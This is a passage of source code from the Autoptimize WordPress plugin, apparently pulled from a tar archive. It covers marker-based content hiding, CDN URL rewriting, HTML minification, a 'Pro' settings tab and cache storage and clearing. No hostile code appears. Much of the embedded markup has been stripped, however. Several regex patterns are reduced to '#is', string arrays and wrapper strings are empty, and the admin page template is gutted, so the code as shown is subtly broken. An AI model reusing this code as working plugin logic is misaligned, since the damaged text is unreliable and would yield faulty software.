$markup Markup to process. * * @return string */ protected function restore_noptimize( $markup ) { return $this->restore_marked_content( 'NOPTIMIZE', $markup ); } /** * Hides "iehacks" content. * * @param string $markup Markup to process. * * @return string */ protected function hide_iehacks( $markup ) { return $this->replace_contents_with_marker_if_exists( 'IEHACK', // Marker name... '#is', // Replacement regex... $markup ); } /** * Restores "hidden" iehacks content. * * @param string $markup Markup to process. * * @return string */ protected function restore_iehacks( $markup ) { return $this->restore_marked_content( 'IEHACK', $markup ); } /** * "Hides" content within HTML comments using a regex-based replacement * if HTML comment markers are found. * `` becomes `%%COMMENTS%%ZXhhbXBsZQ==%%COMMENTS%%` * * @param string $markup Markup to process. * * @return string */ protected function hide_comments( $markup ) { return $this->replace_contents_with_marker_if_exists( 'COMMENTS', '#is', $markup ); } /** * Restores original HTML comment markers inside a string whose HTML * comments have been "hidden" by using `hide_comments()`. * * @param string $markup Markup to process. * * @return string */ protected function restore_comments( $markup ) { return $this->restore_marked_content( 'COMMENTS', $markup ); } /** * Replaces the given URL with the CDN-version of it when CDN replacement * is supposed to be done. * * @param string $url URL to process. * * @return string */ public function url_replace_cdn( $url ) { // For 2.3 back-compat in which cdn-ing appeared to be automatically // including WP subfolder/subdirectory into account as part of cdn-ing, // even though it might've caused serious troubles in certain edge-cases. $cdn_url = autoptimizeUtils::tweak_cdn_url_if_needed( $this->cdn_url ); // Allows API/filter to further tweak the cdn url... $cdn_url = apply_filters( 'autoptimize_filter_base_cdnurl', $cdn_url ); if ( ! empty( $cdn_url ) && false === strpos( $url, $cdn_url ) && false !== apply_filters( 'autoptimize_filter_base_apply_cdn', true, $url ) ) { // Simple str_replace-based approach fails when $url is protocol-or-host-relative. $is_protocol_relative = autoptimizeUtils::is_protocol_relative( $url ); $is_host_relative = ( ! $is_protocol_relative && ( '/' === $url[0] ) ); $cdn_url = esc_url( rtrim( $cdn_url, '/' ) ); if ( $is_host_relative ) { // Prepending host-relative urls with the cdn url. $url = $cdn_url . $url; } else { // Either a protocol-relative or "regular" url, replacing it either way. if ( $is_protocol_relative ) { // Massage $site_url so that simple str_replace() still "works" by // searching for the protocol-relative version of AUTOPTIMIZE_WP_SITE_URL. $site_url = str_replace( array( 'http:', 'https:' ), '', AUTOPTIMIZE_WP_SITE_URL ); } else { $site_url = AUTOPTIMIZE_WP_SITE_URL; } $url = str_replace( $site_url, $cdn_url, $url ); } } // Allow API filter to take further care of CDN replacement. $url = apply_filters( 'autoptimize_filter_base_replace_cdn', $url ); return $url; } /** * Injects/replaces the given payload markup into `$this->content` * at the specified location. * If the specified tag cannot be found, the payload is appended into * $this->content along with a warning wrapped inside tags. * * @param string $payload Markup to inject. * @param array $where Array specifying the tag name and method of injection. * Index 0 is the tag name (i.e., ``). * Index 1 specifies ˛'before', 'after' or 'replace'. Defaults to 'before'. * * @return void */ protected function inject_in_html( $payload, $where ) { $warned = false; $position = autoptimizeUtils::strpos( $this->content, $where[0] ); if ( false !== $position ) { // Found the tag, setup content/injection as specified. if ( 'after' === $where[1] ) { $content = $where[0] . $payload; } elseif ( 'replace' === $where[1] ) { $content = $payload; } else { $content = $payload . $where[0]; } // Place where specified. $this->content = autoptimizeUtils::substr_replace( $this->content, $content, $position, // Using plain strlen() should be safe here for now, since // we're not searching for multibyte chars here still... strlen( $where[0] ) ); } else { // Couldn't find what was specified, just append and add a warning. $this->content .= $payload; if ( ! $warned ) { $tag_display = str_replace( array( '<', '>' ), '', $where[0] ); $this->content .= ''; $warned = true; } } } /** * Returns true if given `$tag` is found in the list of `$removables`. * * @param string $tag Tag to search for. * @param array $removables List of things considered completely removable. * * @return bool */ protected function isremovable( $tag, $removables ) { foreach ( $removables as $match ) { if ( false !== strpos( $tag, $match ) ) { return true; } } return false; } /** * Callback used in `self::inject_minified()`. * * @param array $matches Regex matches. * * @return string */ public function inject_minified_callback( $matches ) { static $conf = null; if ( null === $conf ) { $conf = autoptimizeConfig::instance(); } /** * $matches[1] holds the whole match caught by regex in self::inject_minified(), * so we take that and split the string on `|`. * First element is the filepath, second is the md5 hash of contents * the filepath had when it was being processed. * If we don't have those, we'll bail out early. */ $filepath = null; $filehash = null; // Grab the parts we need. $parts = explode( '|', $matches[1] ); if ( ! empty( $parts ) ) { $filepath = isset( $parts[0] ) ? base64_decode( $parts[0] ) : null; $filehash = isset( $parts[1] ) ? $parts[1] : null; } // Bail early if something's not right... if ( ! $filepath || ! $filehash ) { return "\n"; } $filecontent = file_get_contents( $filepath ); // Some things are differently handled for css/js... $is_js_file = ( '.js' === substr( $filepath, -3, 3 ) ); $is_css_file = false; if ( ! $is_js_file ) { $is_css_file = ( '.css' === substr( $filepath, -4, 4 ) ); } // BOMs being nuked here unconditionally (regardless of where they are)! $filecontent = preg_replace( "#\x{EF}\x{BB}\x{BF}#", '', $filecontent ); // Remove comments and blank lines. if ( $is_js_file ) { $filecontent = preg_replace( '#^\s*\/\/.*$#Um', '', $filecontent ); } // Nuke un-important comments. $filecontent = preg_replace( '#^\s*\/\*[^!].*\*\/\s?#Um', '', $filecontent ); // Normalize newlines. $filecontent = preg_replace( '#(^[\r\n]*|[\r\n]+)[\s\t]*[\r\n]+#', "\n", $filecontent ); // JS specifics. if ( $is_js_file ) { // Append a semicolon at the end of js files if it's missing. $last_char = substr( $filecontent, -1, 1 ); if ( ';' !== $last_char && '}' !== $last_char ) { $filecontent .= ';'; } // Check if try/catch should be used. $opt_js_try_catch = $conf->get( 'autoptimize_js_trycatch' ); if ( 'on' === $opt_js_try_catch ) { // It should, wrap in try/catch. $filecontent = 'try{' . $filecontent . '}catch(e){}'; } } elseif ( $is_css_file ) { $filecontent = autoptimizeStyles::fixurls( $filepath, $filecontent ); } else { $filecontent = ''; } // Return modified (or empty!) code/content. return "\n" . $filecontent; } /** * Inject already minified code in optimized JS/CSS. * * @param string $in Markup. * * @return string */ protected function inject_minified( $in ) { $out = $in; if ( false !== strpos( $in, '%%INJECTLATER%%' ) ) { $out = preg_replace_callback( '#\/\*\!%%INJECTLATER' . AUTOPTIMIZE_HASH . '%%(.*?)%%INJECTLATER%%\*\/#is', array( $this, 'inject_minified_callback' ), $in ); } return $out; } /** * Specialized method to create the INJECTLATER marker. * These are somewhat "special", in the sense that they're additionally wrapped * within an "exclamation mark style" comment, so that they're not stripped * out by minifiers. * They also currently contain the hash of the file's contents too (unlike other markers). * * @param string $filepath Filepath. * @param string $hash Hash. * * @return string */ public static function build_injectlater_marker( $filepath, $hash ) { $contents = '/*!' . self::build_marker( 'INJECTLATER', $filepath, $hash ) . '*/'; return $contents; } /** * Creates and returns a `%%`-style named marker which holds * the base64 encoded `$data`. * If `$hash` is provided, it's appended to the base64 encoded string * using `|` as the separator (in order to support building the * somewhat special/different INJECTLATER marker). * * @param string $name Marker name. * @param string $data Marker data which will be base64-encoded. * @param string|null $hash Optional. * * @return string */ public static function build_marker( $name, $data, $hash = null ) { // Start the marker, add the data. $marker = '%%' . $name . AUTOPTIMIZE_HASH . '%%' . base64_encode( $data ); // Add the hash if provided. if ( null !== $hash ) { $marker .= '|' . $hash; } // Close the marker. $marker .= '%%' . $name . '%%'; return $marker; } /** * Searches for `$search` in `$content` (using either `preg_match()` * or `strpos()`, depending on whether `$search` is a valid regex pattern or not). * If something is found, it replaces `$content` using `$re_replace_pattern`, * effectively creating our named markers (`%%{$marker}%%`. * These are then at some point replaced back to their actual/original/modified * contents using `autoptimizeBase::restore_marked_content()`. * * @param string $marker Marker name (without percent characters). * @param string $search A string or full blown regex pattern to search for in $content. Uses `strpos()` or `preg_match()`. * @param string $re_replace_pattern Regex pattern to use when replacing contents. * @param string $content Content to work on. * * @return string */ public static function replace_contents_with_marker_if_exists( $marker, $search, $re_replace_pattern, $content ) { $found = false; $is_regex = autoptimizeUtils::str_is_valid_regex( $search ); if ( $is_regex ) { $found = preg_match( $search, $content ); } else { $found = ( false !== strpos( $content, $search ) ); } if ( $found ) { $content = preg_replace_callback( $re_replace_pattern, function( $matches ) use ( $marker ) { return autoptimizeBase::build_marker( $marker, $matches[0] ); }, $content ); // Check for error (for example, an error can occur if $content is very large). if ( null === $content ) { $error_message = 'Autoptimize: preg_replace_callback() failed'; if ( function_exists( 'preg_last_error_msg' ) ) { $error_message .= ': ' . preg_last_error_msg(); } error_log( $error_message ); } } return $content; } /** * Complements `autoptimizeBase::replace_contents_with_marker_if_exists()`. * * @param string $marker Marker. * @param string $content Markup. * * @return string */ public static function restore_marked_content( $marker, $content ) { if ( false !== strpos( $content, $marker ) ) { $content = preg_replace_callback( '#%%' . $marker . AUTOPTIMIZE_HASH . '%%(.*?)%%' . $marker . '%%#is', function ( $matches ) { return base64_decode( $matches[1] ); }, $content ); } return $content; } /** * Logs given `$data` for debugging purposes (when debug logging is on). * * @param mixed $data Data to log. * * @return void */ protected function debug_log( $data ) { if ( ! isset( $this->debug_log ) || ! $this->debug_log ) { return; } if ( ! is_string( $data ) && ! is_resource( $data ) ) { $data = var_export( $data, true ); } error_log( $data ); } /** * Checks if a single local css/js file can be minified and returns source if so. * * @param string $filepath Filepath. * * @return bool|string to be minified code or false. */ protected function prepare_minify_single( $filepath ) { // Decide what we're dealing with, return false if we don't know. if ( autoptimizeUtils::str_ends_in( $filepath, '.js' ) ) { $type = 'js'; } elseif ( autoptimizeUtils::str_ends_in( $filepath, '.css' ) ) { $type = 'css'; } else { return false; } // Bail if it looks like its already minifed (by having -min or .min in filename). $minified_variants = array( '-min.' . $type, '.min.' . $type, ); foreach ( $minified_variants as $ending ) { if ( autoptimizeUtils::str_ends_in( $filepath, $ending ) && true === apply_filters( 'autoptimize_filter_base_prepare_exclude_minified', true ) ) { return false; } } // Get file contents, bail if empty. $contents = file_get_contents( $filepath ); return $contents; } /** * Given an autoptimizeCache instance returns the (maybe cdn-ed) url of * the cached file. * * @param autoptimizeCache $cache autoptimizeCache instance. * * @return string */ protected function build_minify_single_url( autoptimizeCache $cache ) { $url = AUTOPTIMIZE_CACHE_URL . $cache->getname(); // CDN-replace the resulting URL if needed... $url = $this->url_replace_cdn( $url ); return $url; } } plugins/autoptimize-/classes/autoptimizeHTML.php000064400000011221152335264760016073 0ustar00', '', '', ); public function read( $options ) { // Remove the HTML comments? $this->keepcomments = (bool) $options['keepcomments']; // Filter to force xhtml. $this->forcexhtml = (bool) apply_filters( 'autoptimize_filter_html_forcexhtml', false ); // minify inline JS/ CSS. $this->minify_inline = (bool) apply_filters( 'autoptimize_html_minify_inline_js_css', $options['minify_inline'] ); // Filterable strings to be excluded from HTML minification. $exclude = apply_filters( 'autoptimize_filter_html_exclude', '' ); if ( '' !== $exclude ) { $exclude_arr = array_filter( array_map( 'trim', explode( ',', $exclude ) ) ); $this->exclude = array_merge( $exclude_arr, $this->exclude ); } // Nothing else for HTML! return true; } /** * Minifies HTML. * * @return bool */ public function minify() { $noptimize = apply_filters( 'autoptimize_filter_html_noptimize', false, $this->content ); if ( $noptimize ) { return false; } // Wrap the to-be-excluded strings in noptimize tags. foreach ( $this->exclude as $str ) { if ( false !== strpos( $this->content, $str ) ) { $replacement = '' . $str . ''; $this->content = str_replace( $str, $replacement, $this->content ); } } // Noptimize. $this->content = $this->hide_noptimize( $this->content ); // Preparing options for Minify_HTML. $options = array( 'keepComments' => $this->keepcomments ); if ( $this->forcexhtml ) { $options['xhtml'] = true; } // Optionally minify inline JS & CSS. if ( $this->minify_inline ) { if ( false != autoptimizeOptionWrapper::get_option( 'autoptimize_js' ) && false != autoptimizeConfig::get_post_meta_ao_settings( 'ao_post_js_optimize' ) && true !== apply_filters( 'autoptimize_filter_js_noptimize', false, $this->content ) && false === strpos( $this->content, 'text/template' ) ) { $options['jsMinifier'] = 'JSMin::minify'; } if ( false != autoptimizeOptionWrapper::get_option( 'autoptimize_css' ) && false != autoptimizeConfig::get_post_meta_ao_settings( 'ao_post_css_optimize' ) && true !== apply_filters( 'autoptimize_filter_css_noptimize', false, $this->content ) ) { $options['cssMinifier'] = 'autoptimizeCSSmin::minify'; } } $tmp_content = AO_Minify_HTML::minify( $this->content, $options ); if ( ! empty( $tmp_content ) ) { $this->content = $tmp_content; unset( $tmp_content ); } // Restore noptimize. $this->content = $this->restore_noptimize( $this->content ); // Remove the noptimize-wrapper from around the excluded strings. foreach ( $this->exclude as $str ) { $replacement = '' . $str . ''; if ( false !== strpos( $this->content, $replacement ) ) { $this->content = str_replace( $replacement, $str, $this->content ); } } // Revslider data attribs somehow suffer from HTML optimization, this fixes that! if ( class_exists( 'RevSlider' ) && apply_filters( 'autoptimize_filter_html_dataattrib_cleanup', false ) ) { $this->content = preg_replace( '#\n(data-.*$)\n#Um', ' $1 ', $this->content ); $this->content = preg_replace( '#<[^>]*(=\"[^"\'<>\s]*\")(\w)#', '$1 $2', $this->content ); } return true; } /** * Doesn't do much in case of HTML (no cache in css/js sense there) * * @return true */ public function cache() { return true; } /** * Returns the HTML markup. * * @return string */ public function getcontent() { return $this->content; } } plugins/autoptimize-/classes/autoptimizeProTab.php000064400000012715152335264760016527 0ustar00run(); } public function run() { if ( $this->enabled() ) { add_filter( 'autoptimize_filter_settingsscreen_tabs', array( $this, 'add_pro_tabs' ), 10, 1 ); } if ( is_multisite() && is_network_admin() && autoptimizeOptionWrapper::is_ao_active_for_network() ) { add_action( 'network_admin_menu', array( $this, 'add_admin_menu' ) ); } else { add_action( 'admin_menu', array( $this, 'add_admin_menu' ) ); } } protected function enabled() { return apply_filters( 'autoptimize_filter_show_partner_tabs', true ); } public function add_pro_tabs( $in ) { $in = array_merge( $in, array( 'ao_protab' => '🚀 ' . $this->get_rnd_title() ) ); return $in; } public function add_admin_menu() { if ( $this->enabled() ) { add_submenu_page( '', 'AO pro', 'AO pro', 'manage_options', 'ao_protab', array( $this, 'ao_pro_page' ) ); } } public function ao_pro_page() { ?>

', '', '

', '

', '', '', '', '', '', '' ); } else { // we were able to fetch the explenation, so add the JS to show correct language. $aopro_explanation .= ""; } ?>
rnd_title = esc_html__( 'Page Cache', 'autoptimize' ); } else { $this->rnd_title = esc_html__( 'Pro Boosters', 'autoptimize' ); } return $this->rnd_title; } } plugins/autoptimize-/classes/autoptimizeCache.php000064400000073367152335264760016355 0ustar00 we don't gzip, the web server does it. * False => we do it ourselves. * * @var bool */ private $nogzip; /** * Ctor. * * @param string $md5 Hash. * @param string $ext Extension. */ public function __construct( $md5, $ext = 'php' ) { $_min_ext = ''; if ( apply_filters( 'autoptimize_filter_cache_url_add_min_ext', false ) ) { $_min_ext = '.min'; } $this->cachedir = AUTOPTIMIZE_CACHE_DIR; $this->nogzip = AUTOPTIMIZE_CACHE_NOGZIP; if ( ! $this->nogzip ) { $this->filename = AUTOPTIMIZE_CACHEFILE_PREFIX . $md5 . $_min_ext . '.php'; } else { if ( in_array( $ext, array( 'js', 'css' ) ) ) { $this->filename = $ext . '/' . AUTOPTIMIZE_CACHEFILE_PREFIX . $md5 . $_min_ext . '.' . $ext; } else { $this->filename = AUTOPTIMIZE_CACHEFILE_PREFIX . $md5 . $_min_ext . '.' . $ext; } } } /** * Returns true if the cached file exists on disk. * * @return bool */ public function check() { return file_exists( $this->cachedir . $this->filename ); } /** * Returns cache contents if they exist, false otherwise. * * @return string|false */ public function retrieve() { if ( $this->check() ) { if ( false == $this->nogzip ) { return file_get_contents( $this->cachedir . $this->filename . '.none' ); } else { return file_get_contents( $this->cachedir . $this->filename ); } } return false; } /** * Stores given $data in cache. * * @param string $data Data to cache. * @param string $mime Mimetype. * * @return void|bool */ public function cache( $data, $mime ) { // readonly FS explicitly OK'ed by developer, so just pretend all is OK. if ( defined( 'AUTOPTIMIZE_CACHE_READONLY' ) ) { return true; } // off by default; check if cachedirs exist every time before caching // // to be activated for users that experience these ugly errors; // PHP Warning: file_put_contents failed to open stream: No such file or directory. if ( apply_filters( 'autoptimize_filter_cache_checkdirs_on_write', false ) ) { $this->check_and_create_dirs(); } if ( false === $this->nogzip ) { // We handle gzipping ourselves. $file = 'default.php'; $phpcode = file_get_contents( AUTOPTIMIZE_PLUGIN_DIR . 'config/' . $file ); $phpcode = str_replace( array( '%%CONTENT%%', 'exit;' ), array( $mime, '' ), $phpcode ); file_put_contents( $this->cachedir . $this->filename, $phpcode ); file_put_contents( $this->cachedir . $this->filename . '.none', $data ); } else { // Write code to cache without doing anything else. file_put_contents( $this->cachedir . $this->filename, $data ); // save fallback .js or .css file if filter true (to be false by default) but not if snippet or single. if ( self::do_fallback() && strpos( $this->filename, '_snippet_' ) === false && strpos( $this->filename, '_single_' ) === false ) { $_extension = pathinfo( $this->filename, PATHINFO_EXTENSION ); $_fallback_file = AUTOPTIMIZE_CACHEFILE_PREFIX . 'fallback.' . $_extension; if ( ( 'css' === $_extension || 'js' === $_extension ) && ! file_exists( $this->cachedir . $_extension . '/' . $_fallback_file ) ) { file_put_contents( $this->cachedir . $_extension . '/' . $_fallback_file, $data ); } } if ( apply_filters( 'autoptimize_filter_cache_create_static_gzip', false ) ) { // Create an additional cached gzip file. file_put_contents( $this->cachedir . $this->filename . '.gz', gzencode( $data, 9, FORCE_GZIP ) ); // If PHP Brotli extension is installed, create an additional cached Brotli file. if ( function_exists( 'brotli_compress' ) ) { file_put_contents( $this->cachedir . $this->filename . '.br', brotli_compress( $data, 11, BROTLI_GENERIC ) ); } } } // Provide 3rd party action hook for every cache file that is created. // This hook can for example be used to inject a copy of the created cache file to a other domain. do_action( 'autoptimize_action_cache_file_created', $this->cachedir . $this->filename ); } /** * Get cache filename. * * @return string */ public function getname() { // NOTE: This could've maybe been a do_action() instead, however, // that ship has sailed. // The original idea here was to provide 3rd party code a hook so that // it can "listen" to all the complete autoptimized-urls that the page // will emit... Or something to that effect I think? apply_filters( 'autoptimize_filter_cache_getname', AUTOPTIMIZE_CACHE_URL . $this->filename ); return $this->filename; } /** * Returns true if given `$file` is considered a valid Autoptimize cache file, * false otherwise. * * @param string $dir Directory name (with a trailing slash). * @param string $file Filename. * @return bool */ protected static function is_valid_cache_file( $dir, $file ) { if ( '.' !== $file && '..' !== $file && false !== strpos( $file, AUTOPTIMIZE_CACHEFILE_PREFIX ) && is_file( $dir . $file ) ) { // It's a valid file! return true; } // Everything else is considered invalid! return false; } /** * Clears contents of AUTOPTIMIZE_CACHE_DIR. * * @return void */ protected static function clear_cache_classic() { $contents = self::get_cache_contents(); foreach ( $contents as $name => $files ) { $dir = rtrim( AUTOPTIMIZE_CACHE_DIR . $name, '/' ) . '/'; foreach ( $files as $file ) { if ( self::is_valid_cache_file( $dir, $file ) ) { @unlink( $dir . $file ); // @codingStandardsIgnoreLine } } } @unlink( AUTOPTIMIZE_CACHE_DIR . '/.htaccess' ); // @codingStandardsIgnoreLine } /** * Recursively deletes the specified pathname (file/directory) if possible. * Returns true on success, false otherwise. * * @param string $pathname Pathname to remove. * * @return bool */ protected static function rmdir( $pathname ) { $files = self::get_dir_contents( $pathname ); foreach ( $files as $file ) { $path = $pathname . '/' . $file; if ( is_dir( $path ) ) { self::rmdir( $path ); } else { unlink( $path ); } } return rmdir( $pathname ); } /** * Clears contents of AUTOPTIMIZE_CACHE_DIR by renaming the current * cache directory into a new one with a unique name and then * re-creating the default (empty) cache directory. * * Important/ Fixme: this does not take multisite into account, so * if advanced_cache_clear_enabled is true (it is not by default) * then the content for all subsites is zapped! * * @return bool Returns true when everything is done successfully, false otherwise. */ protected static function clear_cache_via_rename() { $ok = false; $dir = self::get_pathname_base(); $new_name = self::get_unique_name(); // Makes sure the new pathname is on the same level... $new_pathname = dirname( $dir ) . '/' . $new_name; $renamed = @rename( $dir, $new_pathname ); // @codingStandardsIgnoreLine // When renamed, re-create the default cache directory back so it's // available again... if ( $renamed ) { $ok = self::cacheavail(); } return $ok; } /** * Returns true when advanced cache clearing is enabled. * * @return bool */ public static function advanced_cache_clear_enabled() { return apply_filters( 'autoptimize_filter_cache_clear_advanced', false ); } /** * Returns a (hopefully) unique new cache folder name for renaming purposes. * * @return string */ protected static function get_unique_name() { $prefix = self::get_advanced_cache_clear_prefix(); $new_name = uniqid( $prefix, true ); return $new_name; } /** * Get cache prefix name used in advanced cache clearing mode. * * @return string */ protected static function get_advanced_cache_clear_prefix() { $pathname = self::get_pathname_base(); $basename = basename( $pathname ); $prefix = $basename . '-artifact-'; return $prefix; } /** * Returns an array of file and directory names found within * the given $pathname without '.' and '..' elements. * * @param string $pathname Pathname. * * @return array */ protected static function get_dir_contents( $pathname ) { return array_slice( scandir( $pathname ), 2 ); } /** * Wipes directories which were created as part of the fast cache clearing * routine (which renames the current cache directory into a new one with * a custom-prefixed unique name). * * @return bool */ public static function delete_advanced_cache_clear_artifacts() { // Don't go through these motions (called from the cachechecker) if advanced cache clear isn't even active. if ( ! self::advanced_cache_clear_enabled() ) { return false; } $dir = self::get_pathname_base(); $prefix = self::get_advanced_cache_clear_prefix(); $parent = dirname( $dir ); $ok = false; // Returns the list of files without '.' and '..' elements. $files = self::get_dir_contents( $parent ); if ( is_array( $files ) && ! empty( $files ) ) { foreach ( $files as $file ) { $path = $parent . '/' . $file; $prefixed = ( false !== strpos( $path, $prefix ) ); // Removing only our own (prefixed) directories... if ( is_dir( $path ) && $prefixed ) { $ok = self::rmdir( $path ); } } } return $ok; } /** * Returns the cache directory pathname used. * Done as a function so we canSlightly different * if multisite is used and `autoptimize_separate_blog_caches` filter * is used. * * @return string */ public static function get_pathname() { $pathname = self::get_pathname_base(); if ( is_multisite() && apply_filters( 'autoptimize_separate_blog_caches', true ) ) { $blog_id = get_current_blog_id(); $pathname .= $blog_id . '/'; } return $pathname; } /** * Returns the base path of our cache directory. * * @return string */ protected static function get_pathname_base() { $pathname = WP_CONTENT_DIR . AUTOPTIMIZE_CACHE_CHILD_DIR; return $pathname; } /** * Deletes everything from the cache directories. * * @param bool $propagate Whether to trigger additional actions when cache is purged. * * @return bool */ public static function clearall( $propagate = true ) { if ( defined( 'ET_CORE_VERSION' ) && 'Divi' === get_template() ) { // see https://blog.futtta.be/2018/11/17/warning-divi-purging-autoptimizes-cache/ . $dbt = debug_backtrace( DEBUG_BACKTRACE_IGNORE_ARGS, 2 ); $caller = isset( $dbt[1]['function'] ) ? $dbt[1]['function'] : null; if ( 'et_core_clear_wp_cache' === $caller ) { if ( apply_filters( 'autoptimize_filter_cache_divi_wrong_complain', true ) ) { _doing_it_wrong( 'autoptimizeCache::clearall', 'Divi devs: please don\'t clear Autoptimize\'s cache, it is unneeded and can break sites. You can contact me at futtta@gmail.com to discuss.', 'Autoptimize 2.9.6' ); } return false; } } if ( ! self::cacheavail() || true === apply_filters( 'autoptimize_filter_cache_clearall_disabled', false ) ) { return false; } // TODO/FIXME: If cache is big, switch to advanced/new cache clearing automatically? if ( self::advanced_cache_clear_enabled() ) { self::clear_cache_via_rename(); } else { self::clear_cache_classic(); } // Remove 404 handler if required. if ( self::do_fallback() ) { $_fallback_php = trailingslashit( WP_CONTENT_DIR ) . 'autoptimize_404_handler.php'; @unlink( $_fallback_php ); // @codingStandardsIgnoreLine } // Remove the transient so it gets regenerated... delete_transient( 'autoptimize_stats' ); // Cache was just purged, clear page cache and allow others to hook into our purging... if ( true === $propagate ) { if ( ! function_exists( 'autoptimize_do_cachepurged_action' ) ) { function autoptimize_do_cachepurged_action() { do_action( 'autoptimize_action_cachepurged' ); } } add_action( 'shutdown', 'autoptimize_do_cachepurged_action', 11 ); add_action( 'autoptimize_action_cachepurged', array( 'autoptimizeCache', 'flushPageCache' ), 10, 0 ); } // Warm cache (part of speedupper)! if ( apply_filters( 'autoptimize_filter_speedupper', true ) && false == get_transient( 'autoptimize_cache_warmer_protector' ) ) { set_transient( 'autoptimize_cache_warmer_protector', 'I shall not warm cache for another 10 minutes.', 60 * 10 ); $url = site_url() . '/?ao_speedup_cachebuster=' . rand( 1, 100000 ); $url = apply_filters( 'autoptimize_filter_cache_warmer_url', $url ); $cache = @wp_remote_get( $url ); // @codingStandardsIgnoreLine unset( $cache ); } return true; } /** * Wrapper for clearall but with false param * to ensure the event is not propagated to others * through our own hooks (to avoid infinite loops). * * @return bool */ public static function clearall_actionless() { return self::clearall( false ); } /** * Returns the contents of our cache dirs. * * @return array */ protected static function get_cache_contents() { $contents = array(); foreach ( array( '', 'js', 'css' ) as $dir ) { $contents[ $dir ] = scandir( AUTOPTIMIZE_CACHE_DIR . $dir ); } return $contents; } /** * Returns stats about cached contents. * * @return array */ public static function stats() { $stats = get_transient( 'autoptimize_stats' ); // If no transient, do the actual scan! if ( ! is_array( $stats ) ) { if ( ! self::cacheavail() ) { return 0; } $stats = self::stats_scan(); $count = $stats[0]; if ( $count > 100 ) { // Store results in transient. set_transient( 'autoptimize_stats', $stats, apply_filters( 'autoptimize_filter_cache_statsexpiry', HOUR_IN_SECONDS ) ); } } return $stats; } /** * Performs a scan of cache directory contents and returns an array * with 3 values: count, size, timestamp. * count = total number of found files * size = total filesize (in bytes) of found files * timestamp = unix timestamp when the scan was last performed/finished. * * @return array */ protected static function stats_scan() { $count = 0; $size = 0; // Scan everything in our cache directories. foreach ( self::get_cache_contents() as $name => $files ) { $dir = rtrim( AUTOPTIMIZE_CACHE_DIR . $name, '/' ) . '/'; foreach ( $files as $file ) { if ( self::is_valid_cache_file( $dir, $file ) ) { if ( AUTOPTIMIZE_CACHE_NOGZIP && ( false !== strpos( $file, '.js' ) || false !== strpos( $file, '.css' ) || false !== strpos( $file, '.img' ) || false !== strpos( $file, '.txt' ) ) ) { // Web server is gzipping, we count .js|.css|.img|.txt files. $count++; } elseif ( ! AUTOPTIMIZE_CACHE_NOGZIP && false !== strpos( $file, '.none' ) ) { // We are gzipping ourselves via php, counting only .none files. $count++; } $size += filesize( $dir . $file ); } } } $stats = array( $count, $size, time() ); return $stats; } /** * Ensures the cache directory exists, is writeable and contains the * required .htaccess files. * Returns false in case it fails to ensure any of those things. * * @return bool */ public static function cacheavail() { // readonly FS explicitly OK'ed by dev, let's assume the cache dirs are there! if ( defined( 'AUTOPTIMIZE_CACHE_READONLY' ) ) { return true; } if ( false === autoptimizeCache::check_and_create_dirs() ) { return false; } // Using .htaccess inside our cache folder to overrule wp-super-cache. $htaccess = AUTOPTIMIZE_CACHE_DIR . '/.htaccess'; if ( ! is_file( $htaccess ) ) { /** * Create `wp-content/AO_htaccess_tmpl` file with * whatever htaccess rules you might need * if you want to override default AO htaccess */ $htaccess_tmpl = WP_CONTENT_DIR . '/AO_htaccess_tmpl'; if ( is_file( $htaccess_tmpl ) ) { $content = file_get_contents( $htaccess_tmpl ); } elseif ( is_multisite() || ! AUTOPTIMIZE_CACHE_NOGZIP ) { $content = ' ExpiresActive On ExpiresByType text/css A30672000 ExpiresByType text/javascript A30672000 ExpiresByType application/javascript A30672000 Header append Cache-Control "public, immutable" SetOutputFilter DEFLATE Require all granted Order allow,deny Allow from all '; } else { $content = ' ExpiresActive On ExpiresByType text/css A30672000 ExpiresByType text/javascript A30672000 ExpiresByType application/javascript A30672000 Header append Cache-Control "public, immutable" SetOutputFilter DEFLATE Require all denied Order deny,allow Deny from all '; } if ( self::do_fallback() === true ) { $content .= "\nErrorDocument 404 " . trailingslashit( parse_url( content_url(), PHP_URL_PATH ) ) . 'autoptimize_404_handler.php'; } @file_put_contents( $htaccess, $content ); // @codingStandardsIgnoreLine } if ( self::do_fallback() ) { self::check_fallback_php(); } // All OK! return true; } /** * Checks if fallback-php file exists and create it if not. * * Return bool */ public static function check_fallback_php() { $_fallback_filename = 'autoptimize_404_handler.php'; $_fallback_php = trailingslashit( WP_CONTENT_DIR ) . $_fallback_filename; $_fallback_status = true; if ( ! file_exists( $_fallback_php ) && is_writable( WP_CONTENT_DIR ) ) { $_fallback_php_contents = file_get_contents( AUTOPTIMIZE_PLUGIN_DIR . 'config/' . $_fallback_filename ); $_fallback_php_contents = str_replace( '', AUTOPTIMIZE_CACHE_DIR, $_fallback_php_contents ); $_fallback_php_contents = str_replace( '', AUTOPTIMIZE_CACHEFILE_PREFIX, $_fallback_php_contents ); if ( is_multisite() ) { $_fallback_php_contents = str_replace( '$multisite = false;', '$multisite = true;', $_fallback_php_contents ); } if ( apply_filters( 'autoptimize_filter_cache_fallback_log_errors', false ) ) { $_fallback_php_contents = str_replace( '// error_log', 'error_log', $_fallback_php_contents ); } $_fallback_status = file_put_contents( $_fallback_php, $_fallback_php_contents ); } return $_fallback_status; } /** * Tells if AO should try to avoid 404's by creating fallback filesize * and create a php 404 handler and tell .htaccess to redirect to said handler * and hook into WordPress to redirect 404 to said handler as well. NGINX users * are smart enough to get this working, no? ;-) * * Return bool */ public static function do_fallback() { static $_do_fallback = null; if ( null === $_do_fallback ) { $_do_fallback = (bool) apply_filters( 'autoptimize_filter_cache_do_fallback', autoptimizeOptionWrapper::get_option( 'autoptimize_cache_fallback', '1' ) ); } return $_do_fallback; } /** * Hooks into template_redirect, will act on 404-ing requests for * Autoptimized files and redirects to the fallback CSS/ JS if available * and 410'ing ("Gone") if fallback not available. */ public static function wordpress_notfound_fallback() { $original_request = strtok( $_SERVER['REQUEST_URI'], '?' ); if ( strpos( $original_request, wp_basename( WP_CONTENT_DIR ) . AUTOPTIMIZE_CACHE_CHILD_DIR ) !== false && is_404() ) { // make sure this is not considered a 404. global $wp_query; $wp_query->is_404 = false; // set fallback path. $js_or_css = pathinfo( $original_request, PATHINFO_EXTENSION ); $fallback_path = AUTOPTIMIZE_CACHE_DIR . $js_or_css . '/autoptimize_fallback.' . $js_or_css; // prepare for Shakeeb's Unused CSS files to be 404-handled as well. if ( strpos( $original_request, 'uucss/uucss-' ) !== false ) { $original_request = preg_replace( '/uucss\/uucss-[a-z0-9]{32}-/', 'css/', $original_request ); } // set fallback URL. $fallback_target = preg_replace( '/(.*)_(?:[a-z0-9]{32})\.(js|css)$/', '${1}_fallback.${2}', $original_request ); // 